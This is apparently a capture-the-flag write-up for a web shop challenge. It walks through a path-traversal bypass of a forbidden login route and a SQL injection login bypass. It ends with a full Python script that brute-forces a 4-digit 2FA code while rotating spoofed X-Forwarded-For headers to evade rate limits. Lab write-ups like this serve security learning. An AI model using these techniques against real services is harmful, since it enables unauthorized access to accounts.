It seems to be kinda shop. If I try to login I get a Forbidden error:
I have to bypass this, so I captured the request with Burp:
With
/../auth/login
I can bypass it :D
If we read the entrypoint.sh
we notice that there is a random user created, so might be a SQLi vulnerability on the login:
I captured the request and try some SQLis:
It actually worked with admin' OR 1=1 -- -
(URL encoded) :D
Now I got into a 2FA panel verification:
Inspecting the source code, I noticed that the 2FA code has 4 digits, so I can try to bruteforce it:
So I decided to create a python script to bruteforce it:
import requests
import sys
import argparse
from concurrent.futures import ThreadPoolExecutor
# Colores para las impresiones
GREEN = '\033[92m'
BLUE = '\033[94m'
RED = '\033[91m'
RESET = '\033[0m'
def get_combinations_in_array(path):
with open(path, 'r') as f:
return f.read().splitlines()
def handle_response(response, combination):
if "Invalid 2FA Code!" in response.text:
# Mostrar intentos en verde
print(f'{GREEN}Try: {combination}{RESET}\n')
return
elif "flag" in response.text:
# Mostrar flag en azul
print(f'{BLUE}GOT IT!\n2FA Code: {combination}\n{response.text}{RESET}\n')
sys.exit()
else:
# Mostrar errores en rojo
print(f'{RED}{response.text}{RESET}')
def send_request(ip, combination, headers, url):
headers['X-Forwarded-For'] = ip
data = {'2fa-code': str(combination)}
response = requests.post(url, headers=headers, data=data)
handle_response(response, combination)
def send_all_requests(url, combinations_array, ip_suffix):
base_ip = '192.168.'
current_ip_suffix = list(map(int, ip_suffix.split('.'))) # Convertir a lista de enteros
headers = {
'Host': '83.136.254.158:36141',
'Content-Length': '13',
'Cache-Control': 'max-age=0',
'Origin': 'http://83.136.254.158:36141',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Sec-GPC': '1',
'Accept-Language': 'en-US,en',
'Referer': 'http://83.136.254.158:36141/auth/verify-2fa',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}
# Multi-threading requests sending (see python ThreadPoolExecutor lib for more information)
with ThreadPoolExecutor(max_workers=100) as executor:
futures = []
for i, combination in enumerate(combinations_array, start=1):
ip = base_ip + str(current_ip_suffix[0]) + '.' + str(current_ip_suffix[1])
future = executor.submit(send_request, ip, combination, headers, url)
futures.append(future)
if i % 5 == 0:
current_ip_suffix[1] += 1
if current_ip_suffix[1] > 254:
current_ip_suffix[1] = 1
current_ip_suffix[0] += 1
if current_ip_suffix[0] > 254:
current_ip_suffix = [1, 1]
for future in futures:
future.result()
def parse_arguments():
parser = argparse.ArgumentParser(description="Brute force 2FA codes to find the flag.")
parser.add_argument('--target', type=str, required=True, help='The target URL (e.g., http://example.com)')
parser.add_argument('--combinations', type=str, required=True, help='Path to the file containing the list of 2FA combinations')
parser.add_argument('--ip-suffix', type=str, required=True, help='The IP suffix to use for requests (e.g., 1.1)')
return parser.parse_args()
if __name__ == '__main__':
args = parse_arguments()
combinations_array = get_combinations_in_array(args.combinations)
send_all_requests(args.target, combinations_array, args.ip_suffix)
Note
Since the 2fa code valid time is 5 mins, Iโm splitting the wordlist into 5 wordlists of 2000 words each
I created the wordlists with the following commands:
seq -w 0000 2000 > 0k2k-digit-wordlist.txt
seq -w 2001 4000 > 2k4k-digit-wordlist.txt
seq -w 4001 6000 > 4k6k-digit-wordlist.txt
seq -w 6001 8000 > 6k8k-digit-wordlist.txt
seq -w 8001 9999 > 8k10k-digit-wordlist.txt
# Then open a console for each one like:
python x.py --target http://83.136.254.158:36141/auth/verify-2fa --combinations ./4k6k-digit-wordlist.txt --ip-suffix 13.1
I executed different intervals at same time:
Finally got it :D
Challenge completed!